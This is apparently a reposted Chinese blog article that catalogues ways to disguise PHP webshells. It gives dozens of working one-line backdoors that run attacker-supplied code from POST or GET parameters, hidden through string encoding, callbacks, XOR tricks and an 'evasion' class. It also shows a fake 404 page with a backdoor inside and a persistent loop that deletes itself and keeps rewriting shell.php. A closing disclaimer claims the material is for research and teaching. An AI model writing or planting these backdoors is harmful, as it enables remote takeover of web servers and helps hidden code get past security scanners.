一、Shell变形
简单拼接
$_GET["k"]($_GET["v"]);
@$_POST["k"]($_POST["v"]);
preg_replace函数
preg_replace的/e模式能够执行恶意代码(放在第二个参数上,如
preg_replace("/p/e", '@eval("echo 1;")', "VVVVVVVVVXXXXXXXpCCCCCCCCCCSDASDASDSDAS");
)。
($code=$_POST["pwd"])&&preg_replace("/pen/e", '@'.str_rot13('nffreg').'($code)', "pentest");
preg_replace("/p/e",’$_POST[“pwd”]’, "pentest");//一句话
自定义函数create_function() PHP<7.2
<?php
$fun=create_function('',$_POST['pwd']);
$fun();
?>
create_function(参数列表, string类型code)
回调函数 call_user_func()
<?php
@call_user_func(assert,$_POST['pwd']);
?>
call_user_func(函数名,string的code)
file_put_contents函数
$test='<?php $a=$_POST["pwd"];assert($a); ?>';
file_put_contents("shell1.php", $test);
file_put_contents("shell.php",$_GET[‘k’]);
file_put_contents($_GET[“file”],$_GET[“shell”]);//前面的参数是文件名,后者参数表示写的木马内容,注意单双引号
JS型的WEBSHELL
<script language=php>@eval($_POST['web']);</script>
蚁剑生成免杀shell
class NYVK {
function grMQ() {
$HpPt = "xaa" ^ "xcb"; //a
$mxfI = "xb7" ^ "xc4"; //s
$JYpz = "x25" ^ "x56"; //s
$Jvzc = "x47" ^ "x22"; //e
$Axmj = "xd7" ^ "xa5"; //r
$FLVS = "x19" ^ "x6d"; //t
$BsuP =$HpPt.$mxfI.$JYpz.$Jvzc.$Axmj.$FLVS; //assert
return $BsuP;
}
function __destruct(){ //析构函数
$sBoQ=$this->grMQ();
@$sBoQ($this->vF);
}
}
$nyvk = new NYVK(); //对象实例化
@$nyvk->vF = isset($_GET['id'])?base64_decode($_POST['123com']):$_POST['123com'];
//判断id是否设置,并且非NULL,不为空则base64解码,为空直接接收
二、其他变形方式
PHP变量函数
$a = "assert";
$a(@$_POST['pwd']);
PHP可变变量
$bb="assert";
$a="bb"; //bb是一个字符串
$$a($_POST['pwd']);//$$a=’assert’
str_replace函数
$a=str_replace("Waldo", "", "aWaldossert");
$a(@$_POST['pwd']);
base64_decode函数
$a=base64_decode("YXNzZXJ0");//base64_decode解码为assert(eval为ZXZhbA==,但不能用)
$a($_POST['pwd']);
str_rot13函数
$a=str_rot13("nffreg");//ROT13解码为assert
$a($_POST['pwd']);
$a="a"."s"."s";
$b="e"."r"."t";
$c=$a.$b;//assert
$c($_POST['pwd']);
数组变形
$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P="abcdefghijklmnopqrstuvwxyz";
$__X_X="123456789";
$__O_O=$__X_X[5].$__X_X[3]."_";//64_
$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];//base
$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];//base64_decode
$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];//enco
$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];
$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');
@$_[00]($__H_H($__H_H($__C_C)));
//解码后即==> eval($_POST[x]);
花括号(PHP特性)
$tk = array("a"=>"assert");
$a = "${$tk["a"]($_POST[pwd])}";
//$a=”${assert($_POST[pwd])}”
curly syntax 漏洞利用
关于{${code}}这种形式涉及到了php complex(curly)syntax
$a=$_POST["pwd"];
@eval("@$sql_A=$a;");
以POST方式提交pwd=${phpinfo()}来使用
类的方法
将操作封装成正常的类,再进行调用,和正常的带啊吗基本无二,检测和查杀难度进一步提升。
class log
{
function write($er)
{
@assert($er);//在定义的类中肯定有某些危险的函数用来执行或者解析码
}
}
$win=new log();
$win->write($_POST['pwd']);
parse_str函数
将查询字符串解析到变量中
$str=”a=’a’.’s’.’s’.’e’.’r’.’t’”;//$str=”a=assert”;
parse_str($str); //生成变量$a值为assert
$a($_POST[‘pwd’]);
array_filter函数
用回调函数过滤数组中的元素,注意php的版本问题,5.2版本测试不通!
<?php
$e = $_REQUEST[‘e’]; //接受用户发来的恶意函数 assert
$arr = array($_POST[‘pwd’],);
array_filter($arr, $e); //array_filter(array($_POST['pwd'],),assert’)
array_map函数
将函数作用到数组中的每个值上,做相应的处理,并返回带有新值的数组:
$e = $_REQUEST['e'];
$arr = array($_POST['pwd'],);
array_map($e, $arr);
uasort函数
使用用户自定义的比较函数对数组 $arr 中的元素按键值进行排序:PHP>5.4
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pwd']);
uasort($arr, $e);
加密类变形
if(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['pwd'])) $content = strtr($_POST['pwd'], '-_,', '+/=');assert(base64_decode($content));
使用方式 :
①访问URL
②POST的数据://conent=eval($_POST['page']);com=123(MD5加密“202cb962ac59075b964b07152d234b70”)
③com=123&pwd=ZXZhbCgkX1BPU1RbJ3BhZ2UnXSk7&page=phpinfo();
变量拼接类变形
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['pwd'];if(isset($s22)){eval($s21($s22));}
pwd=phpinfo(); base64转码
加密拼接类变形
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
@$_();
404木马
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
@preg_replace("/[pageerror]/e",$_POST['pwd'],"saft");
header('HTTP/1.1 404 Not Found');
不死马
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
sleep(10); //间隔时间
}
• 往期精选
下方点击关注发现更多精彩
原文始发于微信公众号(银河护卫队super):Shell变形
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论